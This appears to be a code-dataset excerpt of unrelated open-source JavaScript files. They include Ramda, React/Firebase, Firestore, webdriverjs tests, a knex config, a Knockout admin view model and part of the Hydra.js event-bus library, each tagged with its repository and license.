* @param {*} acc The accumulator value.
* @param {Array} list The list to iterate over.
* @return {*} The final, accumulated value.
* @example
*
* var pairs = [ ['a', 1], ['b', 2], ['c', 3] ];
* var flattenPairs = (acc, pair) => acc.concat(pair);
*
* R.reduceRight(flattenPairs, [], pairs); //=> [ 'c', 3, 'b', 2, 'a', 1 ]
*/
module.exports = _curry3(function reduceRight(fn, acc, list) {
var idx = list.length - 1;
while (idx >= 0) {
acc = fn(acc, list[idx]);
idx -= 1;
}
return acc;
});
| gonzaloruizdevilla/ramda | src/reduceRight.js | JavaScript | mit | 1,490 |
import React from 'react'
import { Link } from 'react-router'
import { connect } from 'react-redux'
import { firebaseConnect, helpers } from 'react-redux-firebase'
import { ButtonGroup, Button } from 'reactstrap'
import { injectIntl } from 'react-intl'
import PrimaryGoalsList from 'components/lists/primary-goals-list'
import PageHeading from 'components/helper/PageHeading'
import Loading from 'components/helper/Loading'
import BackButton from 'components/buttons/back'
import SimpleList from 'components/lists/simple'
import DH from 'utils/DatabaseHelper'
import TH from 'utils/TranslationHelper'
import { updateUser } from 'actions/FirebaseActions'
@connect(({ firebase }) => ({ auth: helpers.pathToJS(firebase, 'auth') }))
@firebaseConnect((props) => ([
{ path: DH.getUserProfile(props.auth.uid) },
// { path: DH.goals(), queryParams: DH.goalsWithPartner(props.auth.uid), type: 'once' },
]))
@connect(({ firebase }, props) => ({
user: helpers.dataToJS(firebase, DH.getUserProfile(props.auth.uid)),
// goalsWatched: helpers.dataToJS(firebase, DH.goals()),
}))
class ProfileContainer extends React.Component {
availableAsPartner (status) {
updateUser({ partner: status })
}
render () {
const { user, goalsWatched, intl: { formatMessage } } = this.props
if (user === undefined) { return <Loading /> }
return (
<div className="user-detail">
<PageHeading>{ user.displayName }</PageHeading>
<img src={ user.avatarUrl } />
<div className="mt-3">
<ButtonGroup>
<Button active={ user.partner === true } onClick={ this.availableAsPartner.bind(this, true) }>{ formatMessage(TH.yes) }</Button>{' '}
<Button active={ user.partner === undefined || user.partner === false } onClick={ this.availableAsPartner.bind(this, false) }>{ formatMessage(TH.no) }</Button>
</ButtonGroup>
<span className="ml-3">{ formatMessage(TH.wantToBePartner) }</span>
</div>
<br />
<BackButton action={ this.props.router.goBack } />
</div>
)
}
}
export default injectIntl(ProfileContainer)
// <p>Tikslai, prie kurių aš prisidedu kaip PARTNERIS:</p>
// <SimpleList items={ goalsWatched } />
// <p>Noriu būti ekspertu.</p>
| DeividasK/tgoals | app/containers/users/profile.js | JavaScript | mit | 2,278 |
/**
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { fail } from '../util/assert';
/**
* Provides singleton helpers where setup code can inject a platform at runtime.
* setPlatform needs to be set before Firestore is used and must be set exactly
* once.
*/
var PlatformSupport = /** @class */ (function () {
function PlatformSupport() {
}
PlatformSupport.setPlatform = function (platform) {
if (PlatformSupport.platform) {
fail('Platform already defined');
}
PlatformSupport.platform = platform;
};
PlatformSupport.getPlatform = function () {
if (!PlatformSupport.platform) {
fail('Platform not set');
}
return PlatformSupport.platform;
};
return PlatformSupport;
}());
export { PlatformSupport };
/**
* Returns the representation of an empty "proto" byte string for the
* platform.
*/
export function emptyByteString() {
return PlatformSupport.getPlatform().emptyByteString;
}
//# sourceMappingURL=platform.js.map
| aggiedefenders/aggiedefenders.github.io | node_modules/@firebase/firestore/dist/esm/src/platform/platform.js | JavaScript | mit | 1,577 |
import Q from 'q'
import conf from '../../conf/index.js'
describe('PromiseHandler', () => {
it('should sync promises with call', function () {
let result = ''
return this.client.then(function () {
result += '1'
}).then(function () {
result += '2'
}).then(function () {
result += '3'
}).then(function () {
result += '4'
}).call(() => result.should.be.equal('1234'))
})
it('should add returning numbers', function () {
let result = 0
return this.client.then(function () {
return 1
}).then(function (res) {
result += res
return 2
}).then(function (res) {
result += res
return 3
}).then(function (res) {
result += res
return 4
}).then(function (res) {
result += res
}).call(() => result.should.be.equal(10))
})
it('should propagate results to then', function () {
return this.client.getTitle().then(function (title) {
title.should.be.equal('WebdriverJS Testpage')
return this.url()
}).then((url) => {
url.value.should.be.equal(conf.testPage.start)
}).then((result) => {
/**
* undefined because last then doesn't return a promise
*/
(result === undefined).should.be.true
})
})
it('should be working on custom commands', function () {
let result = ''
this.client.addCommand('fakeCommand', function (param) {
return param
})
return this.client.fakeCommand(0).then(function () {
return this.fakeCommand(1)
}).then(function (res) {
result += res.toString()
return this.fakeCommand(2)
}).then(function (res) {
result += res.toString()
return this.fakeCommand(3)
}).then(function (res) {
result += res.toString()
return this.fakeCommand(4)
}).then(function (res) {
result += res.toString()
}).call(() => result.should.be.equal('1234'))
})
it('should reject promise if command throws an error', function () {
let result = null
return this.client.click('#notExisting').then(() => {
result = false
}, () => {
result = true
})
.call(() => {
result.should.be.equal(true)
})
})
it('should handle waitfor commands within then callbacks', function () {
return this.client.getTitle().then(function () {
return this.pause(1000).pause(100).isVisible('body')
}).then((result) => result.should.be.true)
})
it('should provide a catch method that executes if the command throws an error', function () {
let gotExecutedCatch = false
return this.client.click('#notExisting').catch(function () {
gotExecutedCatch = true
}).call(() => gotExecutedCatch.should.be.true)
})
it('should provide a catch and fail method that doesn\'t execute if the command passes', function () {
let gotExecutedCatch = false
return this.client.click('body').catch(function () {
gotExecutedCatch = true
}).call(() => gotExecutedCatch.should.be.false)
})
it('should propagate not only promises but also objects or strings', function () {
var hasBeenExecuted = 0
return this.client.isVisible('body').then(function (isVisible) {
hasBeenExecuted++
return isVisible
}).then(function (isVisible) {
hasBeenExecuted++
isVisible.should.be.true
return 'a string'
}).then(function (aString) {
hasBeenExecuted++
aString.should.be.equal('a string')
return { myElem: 42 }
}).then(function (res) {
hasBeenExecuted++
res.should.have.property('myElem')
res.myElem.should.be.equal(42)
}).call(() => hasBeenExecuted.should.be.equal(4))
})
it('should execute promise in a right order', function () {
let result = ''
return this.client.title().then(function () {
result += '1'
return this.call(function () {}).then(function () {
result += '2'
return this.then(function () {
result += '3'
})
})
}).then(() => {
result += '4'
}).call(() => result.should.be.equal('1234'))
})
it('should resolve array values', function () {
return this.client.title().then(() => [1, 2]).then((value) => {
expect(value).to.be.instanceof(Array)
value.should.have.length(2)
})
})
describe('should be able to handle 3rd party promises', function () {
it('should handle Q\'s deferred.promise', function () {
const deferred = Q.defer()
deferred.resolve('success')
return this.client.status().then(() => deferred.promise).then(
(result) => result.should.be.equal('success'))
})
it('should work with ES6 promises', function () {
return this.client.status().then(
() => new Promise((resolve) => resolve('success'))
).then((result) => result.should.be.equal('success'))
})
})
it('should be able to pass a command execution as parameter', function () {
return this.client.then(this.client.getTitle).then(
(title) => title.should.be.equal(conf.testPage.title))
})
it.only('should be able to deal with string errors', function () {
return this.client.url().then(() => {
throw 'stringerror' // eslint-disable-line no-throw-literal
}).then(() => {
throw new Error('string error wasn\'t translated to a real error')
}, (e) => {
expect(e).to.be.instanceof(Error)
})
})
})
| testingbot/webdriverjs | test/spec/functional/promises.js | JavaScript | mit | 6,104 |
PeriodicalExecuter.prototype.registerCallback = function() {
this.intervalID = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000);
}
PeriodicalExecuter.prototype.stop = function() {
clearInterval(this.intervalID);
} | agrimm/eol | public/javascripts/prototype-extensions.js | JavaScript | mit | 232 |
var dotenv = require('dotenv');
dotenv.load();
module.exports = {
client: '<%= dialect %>',
connection: process.env.DATABASE_URL || {
host: process.env.DB_HOST,
user: process.env.DB_USER,
password: process.env.DB_PASSWORD,
database: process.env.DB_NAME
}
};
| sahat/megaboilerplate | generators/database/modules/sql/knexfile.js | JavaScript | mit | 282 |
weapsy.admin.menuItem = weapsy.admin.menuItem || {};
weapsy.admin.menuItem = (function ($, ko) {
function Menu(data) {
this.id = ko.observable(data.id);
this.name = ko.observable(data.name);
}
function menuItem(data) {
this.id = ko.observable(data.id);
this.parentId = ko.observable(data.parentId);
this.text = ko.observable(data.text);
this.menuItems = ko.observableArray([]);
}
function MenuItemLocalisation(data) {
var tabLanguageName = data.languageName;
if (data.languageStatus != 1)
tabLanguageName += " *";
this.tabLanguageName = ko.observable(tabLanguageName);
this.languageId = ko.observable(data.languageId);
this.languageName = ko.observable(data.languageName);
this.languageStatus = ko.observable(data.languageStatus);
this.text = ko.observable(data.text);
this.title = ko.observable(data.title);
}
function MenuItemPermission(data) {
this.roleId = ko.observable(data.roleId);
this.roleName = ko.observable(data.roleName);
this.selected = ko.observable(data.selected);
this.disabled = ko.observable(data.disabled);
}
function Page(data) {
this.id = data.id;
this.name = data.name;
}
function Language(data) {
this.id = data.id;
this.name = data.name;
this.status = data.status;
}
function menuItemViewModel() {
var self = this;
self.menu = ko.observable();
self.pages = ko.observableArray([]);
self.languages = ko.observableArray([]);
self.deletable = ko.observable(false);
self.confirmDeleteMenuItemMessage = ko.observable();
self.showEditForm = ko.observable(false);
self.itemTypes = ko.observableArray([
{ id: 1, name: "Page" },
{ id: 2, name: "Link" },
{ id: 3, name: "Disabled" }
]);
self.menuItemId = ko.observable();
self.menuItemType = ko.observable();
self.pageId = ko.observable();
self.link = ko.observable();
self.text = ko.observable();
self.title = ko.observable();
self.menuItemLocalisations = ko.observableArray([]);
self.menuItemPermissions = ko.observableArray([]);
self.menuItemLocalisationsNotActive = ko.computed(function () {
return ko.utils.arrayFilter(self.menuItemLocalisations(), function (localisation) {
return localisation.languageStatus() != 1;
});
});
self.emptyId = "00000000-0000-0000-0000-000000000000";
self.loadMenu = function () {
$.getJSON("/api/menu/admin", function (data) {
if (data.length > 0)
self.menu(new Menu(data[0]));
});
}
self.loadPages = function () {
$.getJSON("/api/page/admin-list", function (data) {
var mappedPages = $.map(data, function (item) { return new Page(item) });
self.pages(mappedPages);
self.loadLanguages();
});
}
self.loadLanguages = function () {
$.getJSON("/api/language", function (data) {
var mappedLanguages = $.map(data, function (item) { return new Language(item) });
self.languages(mappedLanguages);
var id = weapsy.utils.getUrlParameterByName("id");
if (id)
self.editMenuItem(id);
else
self.addMenuItem();
});
}
self.addMenuItem = function () {
$.getJSON("/api/menu/" + self.menu().id() + "/admin-edit-default-item/", function (data) {
self.menuItemId(self.emptyId);
self.menuItemType(self.itemTypes()[0].id);
self.pageId(self.pages()[0].id);
self.link("");
self.text("");
self.title("");
self.menuItemLocalisations([]);
self.menuItemPermissions([]);
var mappedLocalisations = $.map(data.menuItemLocalisations, function (item) { return new MenuItemLocalisation(item) });
self.menuItemLocalisations(mappedLocalisations);
var mappedPermissions = $.map(data.menuItemPermissions, function (item) { return new MenuItemPermission(item) });
self.menuItemPermissions(mappedPermissions);
self.showEditForm(true);
self.setValidator();
});
};
self.editMenuItem = function (id) {
self.deletable(true);
$.getJSON("/api/menu/" + self.menu().id() + "/admin-edit-item/" + id, function (data) {
self.menuItemId(id);
self.menuItemType(data.type);
self.pageId(data.pageId);
self.link(data.link);
self.text(data.text);
self.title(data.title);
self.menuItemLocalisations([]);
self.menuItemPermissions([]);
var mappedLocalisations = $.map(data.menuItemLocalisations, function (item) { return new MenuItemLocalisation(item) });
self.menuItemLocalisations(mappedLocalisations);
var mappedPermissions = $.map(data.menuItemPermissions, function (item) { return new MenuItemPermission(item) });
self.menuItemPermissions(mappedPermissions);
self.showEditForm(true);
self.setValidator();
});
};
self.setValidator = function() {
$('#editMenuItemForm').validate({
rules: {
text: {
required: true,
rangelength: [1, 100]
},
title: {
required: false,
rangelength: [1, 200]
}
},
messages: {
text: {
required: 'Enter the menu item text',
rangelength: jQuery.validator.format('Enter between {0} and {1} characters')
},
title: {
rangelength: jQuery.validator.format('Enter between {0} and {1} characters')
}
},
submitHandler: function (form) {
self.saveMenuItem();
}
});
$(".validate-localisation-text").each(function () {
$(this).rules("add", {
required: false,
rangelength: [1, 100],
messages: {
rangelength: jQuery.validator.format('Enter no more than {1} characters')
}
});
});
$(".validate-localisation-title").each(function () {
$(this).rules("add", {
required: false,
rangelength: [1, 200],
messages: {
rangelength: jQuery.validator.format('Enter no more than {1} characters')
}
});
});
};
self.cancel = function () {
window.location.href = '/admin/menu';
};
self.saveMenuItem = function () {
weapsy.utils.showLoading("Saving Menu Item");
var localisations = [];
var permissions = [];
$.each(self.menuItemLocalisations(), function () {
var item = this;
localisations.push({
languageId: item.languageId(),
text: item.text(),
title: item.title()
});
});
$.each(self.menuItemPermissions(), function () {
var item = this;
if (item.selected())
permissions.push({
menuItemId: self.menuItemId(),
roleId: item.roleId()
});
});
var data = {
menuItemId: self.menuItemId(),
type: self.menuItemType(),
pageId: self.pageId(),
link: self.link(),
text: self.text(),
title: self.title(),
menuItemLocalisations: localisations,
menuItemPermissions: permissions
};
var action = data.menuItemId != self.emptyId ? "update" : "add";
$.ajax({
type: 'PUT',
url: "/api/menu/" + self.menu().id() + "/" + action + "item",
data: JSON.stringify(data),
dataType: 'json',
contentType: 'application/json'
}).done(function () {
window.location.href = '/admin/menu';
});
}
self.confirmMenuItemToDelete = function () {
}
self.deleteMenuItem = function () {
weapsy.utils.showLoading("Deleting Menu Item");
$.ajax({
url: "/api/menu/" + self.menu().id() + "/item/" + self.menuItemId(),
type: "DELETE"
}).done(function () {
window.location.href = '/admin/menu';
});
}
self.loadMenu();
self.loadPages();
}
return {
MenuItemViewModel: function () {
return menuItemViewModel();
}
}
}(jQuery, ko));
ko.applyBindings(new weapsy.admin.menuItem.MenuItemViewModel()); | lucabriguglia/weapsy | src/Weapsy.Web/wwwroot/js/admin/menus/item.js | JavaScript | mit | 9,710 |
// <div id="tweets-here"></div>
window.addEvent("domready",function() {
var myTwitterGitter = new TwitterGitter("botanicus", {
count: 5,
onComplete: function (tweets, user) {
tweets.each(function (tweet, i) {
new Element("div",{
// html: '<img src="' + user.profile_image_url.replace("\\",'') + '" align="left" alt="' + user.name + '" /> <strong>' + user.name + '</strong><br />' + tweet.text + '<br /><span>' + tweet.created_at + ' via ' + tweet.source.replace("\\",'') + '</span>',
html: '<img src="' + user.profile_image_url.replace("\\",'') + '" align="left" alt="' + user.name + '" /> <strong>' + user.name + '</strong><br />' + tweet.text + '<br />',
'class': 'tweet clear'
}).inject("tweets-here");
});
}
}).retrieve();
});
| botanicus/pupu-twitter-gitter | initializers/twitter-gitter.js | JavaScript | mit | 805 |
/*global require*/
(function (und) {
'use strict';
var setTimeout = setTimeout, namespace, Err = Error, root, isTypeOf, isInstanceOf, sNotDefined, oModules, oVars = {}, sObjectType, _null_, bUnblockUI, fpThrowErrorModuleNotRegistered, _true_, _false_, sVersion, sFunctionType, FakeModule, Hydra, bDebug, ErrorHandler, Module, Bus, oChannels, isNodeEnvironment, oObjProto;
/**
* Check if is the type indicated
* @param oMix
* @param sType
* @returns {boolean}
*/
isTypeOf = function (oMix, sType) {
return typeof oMix === sType;
};
/**
* Wrapper of instanceof to reduce final size
* @param oInstance
* @param oConstructor
* @returns {boolean}
*/
isInstanceOf = function (oInstance, oConstructor) {
return oInstance instanceof oConstructor;
};
/**
* Return the message to show when a module is not registered
* @param sModuleId
* @param bThrow
* @returns {string}
*/
fpThrowErrorModuleNotRegistered = function (sModuleId, bThrow) {
var sMessage = 'The module ' + sModuleId + ' is not registered in the system';
if (bThrow) {
throw new Err(sMessage);
}
return sMessage;
};
/**
* Object type string
* @type {string}
*/
sObjectType = 'object';
/**
* Function type string
* @type {string}
*/
sFunctionType = 'function';
/**
* Use Event detection and if it fails it degrades to use duck typing detection to test if the supplied object is an Event
* @param oObj
* @returns {boolean}
*/
function isEvent(oObj) {
try {
return isInstanceOf(oObj, Event);
} catch (erError) {
// Duck typing detection (If it sounds like a duck and it moves like a duck, it's a duck)
if (oObj.altKey !== und && ( oObj.srcElement || oObj.target )) {
return _true_;
}
}
return _false_;
}
/**
* Use jQuery detection
* @param oObj
* @returns {boolean}
*/
function isJqueryObject(oObj) {
var isJquery = _false_,
$ = root.jQuery;
if ($) {
isJquery = isInstanceOf(oObj, $);
}
return isJquery;
}
/**
* nullFunc
* An empty function to be used as default is no supplied callbacks.
* @private
*/
function nullFunc() {
}
/**
* Used to generate an unique key for instance ids that are not supplied by the user.
* @return {String}
* @private
*/
function generateUniqueKey() {
var oMath = Math, sFirstToken = +new Date() + '',
sSecondToken = oMath.floor(oMath.random() * (999999 - 1 + 1)) + 1;
return sFirstToken + '_' + sSecondToken;
}
/**
* Return the length of properties of one object
* @param {Object} oObj
* @return {Number}
* @private
*/
function getObjectLength(oObj) {
var nLen, sKey, fpKeys = Object.keys;
if (fpKeys) {
nLen = fpKeys(oObj).length;
}
else {
nLen = 0;
for (sKey in oObj) {
if (ownProp(oObj, sKey)) {
nLen++;
}
}
}
return nLen;
}
/**
* Cache 'undefined' string to test typeof
* @type {String}
* @private
*/
sNotDefined = 'undefined';
/**
* Cache of object prototype to use it in other functions
* @type {Object}
* @private
*/
oObjProto = Object.prototype;
/**
* set the correct root depending from the environment.
* @type {Object}
* @private
*/
root = this;
/**
* set the global namespace to be the same as root
* use Hydra.setNamespace to change it.
*/
namespace = root;
/**
* Check if Hydra.js is loaded in Node.js environment
* @type {Boolean}
* @private
*/
isNodeEnvironment = typeof exports === sObjectType && typeof module === sObjectType && typeof module.exports === sObjectType && typeof require === sFunctionType;
/**
* Contains a reference to null object to decrease final size
* @type {Object}
* @private
*/
_null_ = null;
/**
* Contains a reference to false to decrease final size
* @type {Boolean}
* @private
*/
_false_ = false;
/**
* Contains a reference to true to decrease final size
* @type {Boolean}
* @private
*/
_true_ = true;
/**
* Property that will save the registered modules
* @type {Object}
* @private
*/
oModules = {};
/**
* Version of Hydra
* @type {String}
* @private
*/
sVersion = '3.8.0';
/**
* Used to activate the debug mode
* @type {Boolean}
* @private
*/
bDebug = _false_;
/**
* Use to activate the unblock UI when notifies are executed.
* WARNING!!! This will not block your UI but could give problems with the order of execution.
* @type {Boolean}
* @private
*/
bUnblockUI = _false_;
/**
* Wrapper of Object.prototype.toString to detect type of object in cross browsing mode.
* @param {Object} oObject
* @return {String}
* @private
*/
function toString(oObject) {
return oObjProto.toString.call(oObject);
}
/**
* isFunction is a function to know if the object passed as parameter is a Function object.
* @param {Object} fpCallback
* @return {Boolean}
* @private
*/
function isFunction(fpCallback) {
return toString(fpCallback) === '[' + sObjectType + ' Function]';
}
/**
* isArray is a function to know if the object passed as parameter is an Array object.
* @param {String|Array|Object} aArray
* @return {Boolean}
* @private
*/
function isArray(aArray) {
return toString(aArray) === '[' + sObjectType + ' Array]';
}
/**
* setDebug is a method to set the bDebug flag.
* @param {Boolean} _bDebug
* @private
*/
function setDebug(_bDebug) {
bDebug = _bDebug;
}
/**
* setUnblockUI is a method to set the bUnblockUI flag.
* @param {Boolean} _bUnblockUI
* @private
*/
function setUnblockUI(_bUnblockUI) {
bUnblockUI = _bUnblockUI;
}
/**
* Converts objects like node list to real array.
* @param {Object} oLikeArray
* @param {Number} nElements
* @return {Array<*>}
* @private
*/
function slice(oLikeArray, nElements) {
return [].slice.call(oLikeArray, nElements || 0);
}
/**
* Wrapper of Object.hasOwnProperty
* @param {Object} oObj
* @param {String} sKey
* @return {Boolean}
* @private
*/
function ownProp(oObj, sKey) {
return oObj.hasOwnProperty(sKey);
}
/**
* Method to modify the init method to use it for extend.
* @param {Object} oInstance
* @param {Object} oModifyInit
* @param {Object} oData
* @param {Boolean} bSingle
* @private
*/
function beforeInit(oInstance, oModifyInit, oData, bSingle) {
var sKey, oMember;
for (sKey in oModifyInit) {
if (ownProp(oModifyInit, sKey)) {
oMember = oModifyInit[sKey];
if (oInstance[sKey] && isTypeOf(oMember, sFunctionType)) {
oMember(oInstance, oData, bSingle);
}
}
}
}
/**
* startSingleModule is the method that will initialize the module.
* When start is called the module instance will be created and the init method is called.
* If bSingle is true and the module is started the module will be stopped before instance it again.
* This avoid execute the same listeners more than one time.
* @param {Object} oWrapper
* @param {String} sModuleId
* @param {String} sIdInstance
* @param {Object} oData
* @param {Boolean} bSingle
* @return {Module} instance of the module
* @private
*/
function startSingleModule(oWrapper, sModuleId, sIdInstance, oData, bSingle) {
var oModule, oInstance;
oModule = oModules[sModuleId];
if (bSingle && oWrapper.isModuleStarted(sModuleId)) {
oWrapper.stop(sModuleId);
}
if (!isTypeOf(oModule, sNotDefined)) {
oInstance = createInstance(sModuleId);
oModule.instances[sIdInstance] = oInstance;
oInstance.__instance_id__ = sIdInstance;
beforeInit(oInstance, oWrapper.oModifyInit, oData, bSingle);
if (!isTypeOf(oData, sNotDefined)) {
oInstance.init(oData);
}
else {
oInstance.init();
}
}
else {
ErrorHandler.error(new Err(), fpThrowErrorModuleNotRegistered(sModuleId));
}
return oInstance;
}
/**
* Do a simple merge of two objects overwriting the target properties with source properties
* @param {Object} oTarget
* @param {Object} oSource
* @private
*/
function simpleMerge(oTarget, oSource) {
var sKey;
for (sKey in oSource) {
if (ownProp(oSource, sKey)) {
oTarget[sKey] = oSource[sKey];
}
}
return oTarget;
}
/**
* Return a copy of the object.
* @param {Object} oObject
*/
function clone(oObject) {
var oCopy, oItem, nIndex, nLenArr, sAttr;
// Handle the 3 simple types, and null or undefined
if (null == oObject || !isTypeOf(oObject, sObjectType)) {
return oObject;
}
if (isEvent(oObject) || isJqueryObject(oObject)) {
return oObject;
}
// Handle Date
if (isInstanceOf(oObject, Date)) {
oCopy = new Date();
oCopy.setTime(oObject.getTime());
return oCopy;
}
// Handle Array
if (isInstanceOf(oObject, Array)) {
oCopy = [];
for (nIndex = 0, nLenArr = oObject.length; nIndex < nLenArr; nIndex++) {
oItem = oObject[nIndex];
oCopy[nIndex] = clone(oItem);
}
return oCopy;
}
// Handle Object
if (isInstanceOf(oObject, Object)) {
oCopy = {};
for (sAttr in oObject) {
if (ownProp(oObject, sAttr)) {
oCopy[sAttr] = clone(oObject[sAttr]);
}
}
return oCopy;
}
throw new Err('Unable to copy obj! Its type isn\'t supported.');
}
/**
* wrapMethod is a method to wrap the original method to avoid failing code.
* This will be only called if bDebug flag is set to false.
* @param {Object} oInstance
* @param {String} sName
* @param {String} sModuleId
* @param {Function} fpMethod
* @private
*/
function wrapMethod(oInstance, sName, sModuleId, fpMethod) {
oInstance[sName] = (function (sName, fpMethod) {
return function () {
var aArgs = slice(arguments, 0);
try {
return fpMethod.apply(this, aArgs);
}
catch (erError) {
ErrorHandler.error(sModuleId, sName, erError);
return _false_;
}
};
}(sName, fpMethod));
}
/**
* Private object to save the channels for communicating event driven
* @type {{global: Object}}
* @private
*/
oChannels = {
global: {}
};
/**
* subscribersByEvent return all the subscribers of the event in the channel.
* @param {Object} oChannel
* @param {String} sEventName
* @return {Array<Module>}
* @private
*/
function subscribersByEvent(oChannel, sEventName) {
var aSubscribers = [],
sEvent;
if (!isTypeOf(oChannel, sNotDefined)) {
for (sEvent in oChannel) {
if (ownProp(oChannel, sEvent) && sEvent === sEventName) {
aSubscribers = oChannel[sEvent];
}
}
}
return aSubscribers;
}
/**
* Bus is the object that must be used to manage the notifications by channels
* @constructor
* @class Bus
* @name Bus
* @private
*/
Bus = {
/**
* subscribers return the array of subscribers to one channel and event.
* @param {String} sChannelId
* @param {String} sEventName
* @return {Array<Module>}
*/
subscribers: function (sChannelId, sEventName) {
return subscribersByEvent(oChannels[sChannelId], sEventName);
},
/**
* _getChannelEvents return the events array in channel.
* @param {String} sChannelId
* @param {String} sEvent
* @return {Object}
* @private
*/
_getChannelEvents: function (sChannelId, sEvent) {
if (oChannels[sChannelId] === und) {
oChannels[sChannelId] = {};
}
if (oChannels[sChannelId][sEvent] === und) {
oChannels[sChannelId][sEvent] = [];
}
return oChannels[sChannelId][sEvent];
},
/**
* _addSubscribers add all the events of one channel from the subscriber
* @param {Object} oEventsCallbacks
* @param {String} sChannelId
* @param {Module} oSubscriber
* @private
*/
_addSubscribers: function (oEventsCallbacks, sChannelId, oSubscriber) {
var sEvent;
for (sEvent in oEventsCallbacks) {
if (ownProp(oEventsCallbacks, sEvent)) {
this.subscribeTo(sChannelId, sEvent, oEventsCallbacks[sEvent], oSubscriber);
}
}
},
/**
* Method to unsubscribe a subscriber from a channel and event type.
* It iterates in reverse order to avoid messing with array length when removing items.
* @param {String} sChannelId
* @param {String} sEventType
* @param {Module} oSubscriber
*/
unsubscribeFrom: function (sChannelId, sEventType, oSubscriber) {
var aChannelEvents = this._getChannelEvents(sChannelId, sEventType),
oItem,
nEvent = aChannelEvents.length - 1;
for (; nEvent >= 0; nEvent--) {
oItem = aChannelEvents[nEvent];
if (oItem.subscriber === oSubscriber) {
aChannelEvents.splice(nEvent, 1);
}
}
},
/**
* Method to add a single callback in one channel an in one event.
* @param {String} sChannelId
* @param {String} sEventType
* @param {Function} fpHandler
* @param {Module} oSubscriber
*/
subscribeTo: function (sChannelId, sEventType, fpHandler, oSubscriber) {
var aChannelEvents = this._getChannelEvents(sChannelId, sEventType);
aChannelEvents.push({
subscriber: oSubscriber,
handler: fpHandler
});
},
/**
* subscribe method gets the oEventsCallbacks object with all the handlers and add these handlers to the channel.
* @param {Module|Object} oSubscriber
* @return {Boolean}
*/
subscribe: function (oSubscriber) {
var sChannelId, oEventsCallbacks = oSubscriber.events;
if (!oSubscriber || oEventsCallbacks === und) {
return _false_;
}
for (sChannelId in oEventsCallbacks) {
if (ownProp(oEventsCallbacks, sChannelId)) {
if (oChannels[sChannelId] === und) {
oChannels[sChannelId] = {};
}
this._addSubscribers(oEventsCallbacks[sChannelId], sChannelId, oSubscriber);
}
}
return _true_;
},
/**
* _removeSubscribers remove the subscribers to one channel and return the number of
* subscribers that have been unsubscribed.
* @param {Array<Module>} aSubscribers
* @param {Module} oSubscriber
* @return {Number}
* @private
*/
_removeSubscribers: function (aSubscribers, oSubscriber) {
var nUnsubscribed = 0,
nIndex;
if (!isTypeOf(aSubscribers, sNotDefined)) {
nIndex = aSubscribers.length - 1;
for (; nIndex >= 0; nIndex--) {
if (aSubscribers[nIndex].subscriber === oSubscriber) {
nUnsubscribed++;
aSubscribers.splice(nIndex, 1);
}
}
}
return nUnsubscribed;
},
/**
* Loops per all the events to remove subscribers.
* @param {Object} oEventsCallbacks
* @param {String} sChannelId
* @param {Module} oSubscriber
* @return {Number}
* @private
*/
_removeSubscribersPerEvent: function (oEventsCallbacks, sChannelId, oSubscriber) {
var sEvent, aEventsParts, sChannel, sEventType, nUnsubscribed = 0;
for (sEvent in oEventsCallbacks) {
if (ownProp(oEventsCallbacks, sEvent)) {
aEventsParts = sEvent.split(':');
sChannel = sChannelId;
sEventType = sEvent;
if (aEventsParts[0] === 'global') {
sChannel = aEventsParts[0];
sEventType = aEventsParts[1];
}
nUnsubscribed += this._removeSubscribers(oChannels[sChannel][sEventType], oSubscriber);
}
}
return nUnsubscribed;
},
/**
* unsubscribe gets the oEventsCallbacks methods and removes the handlers of the channel.
* @param {Module|Object} oSubscriber
* @return {Boolean}
*/
unsubscribe: function (oSubscriber) {
var nUnsubscribed = 0, sChannelId, oEventsCallbacks = oSubscriber.events;
if (!oSubscriber || oEventsCallbacks === und) {
return _false_;
}
for (sChannelId in oEventsCallbacks) {
if (ownProp(oEventsCallbacks, sChannelId)) {
if (oChannels[sChannelId] === und) {
oChannels[sChannelId] = {};
}
nUnsubscribed = this._removeSubscribersPerEvent(oEventsCallbacks[sChannelId], sChannelId, oSubscriber);
}
}
return nUnsubscribed > 0;
},
/**
* Method to execute all the callbacks but without blocking the user interface.
* @param {Array<Module>} aSubscribers
* @param {Object} oData
* @param {String} sChannelId
* @param {String} sEvent
* @private
*/
_avoidBlockUI: function (aSubscribers, oData, sChannelId, sEvent) {
var oHandlerObject,
aSubs = aSubscribers.concat();
setTimeout(function recall() {
var nStart = +new Date();
do {
oHandlerObject = aSubs.shift();
oHandlerObject.handler.call(oHandlerObject.subscriber, oData);
if (bDebug) {
ErrorHandler.log(sChannelId, sEvent, oHandlerObject);
}
}
while (aSubs.length > 0 && ( +new Date() - nStart < 50 ));
if (aSubs.length > 0) {
setTimeout(recall, 25);
}
}, 25);
},
/**
* Publish the event in one channel.
* @param {String} sChannelId
* @param {String} sEvent
* @param {String} oData
* @return {Boolean}
*/
publish: function (sChannelId, sEvent, oData) {
var aSubscribers = this.subscribers(sChannelId, sEvent).slice(),
nLenSubscribers = aSubscribers.length,
nIndex = 0,
oHandlerObject,
oDataToPublish;
if (nLenSubscribers === 0) {
return _false_;
}
oDataToPublish = clone(oData);
if (bUnblockUI) {
this._avoidBlockUI(aSubscribers, oDataToPublish, sChannelId, sEvent);
} else {
for (; nIndex < nLenSubscribers; nIndex++) {
oHandlerObject = aSubscribers[nIndex];
oHandlerObject.handler.call(oHandlerObject.subscriber, oDataToPublish);
if (bDebug) {
ErrorHandler.log(sChannelId, sEvent, oHandlerObject);
}
}
}
return _true_;
},
/**
* Reset channels
*/
reset: function () {
oChannels = {
global: {}
};
}
};
/**
* Inject dependencies creating modules
* Look for dependencies in:
* Hydra mappings
* oVars
* oModules
* namespace
* root
* @param {String} sModuleId
* @param {Array} aDependencies
* @returns {Array}
*/
function dependencyInjector(sModuleId, aDependencies) {
var nDependency,
nLenDependencies,
sDependency,
aFinalDependencies = [],
oMapping = {
'$bus': Bus,
'$module': Hydra.module,
'$log': ErrorHandler,
'$api': Hydra,
'$global': root,
'$doc': root.document || null
},
aMappings = [oMapping, oVars, oModules],
nLenMappings = aMappings.length,
oMap,
nMapping = 0;
aDependencies = aDependencies !== und ? aDependencies : (oModules[sModuleId].dependencies || []);
nLenDependencies = aDependencies.length;
// If namespace is different of root we add namespace and root to aMappings.
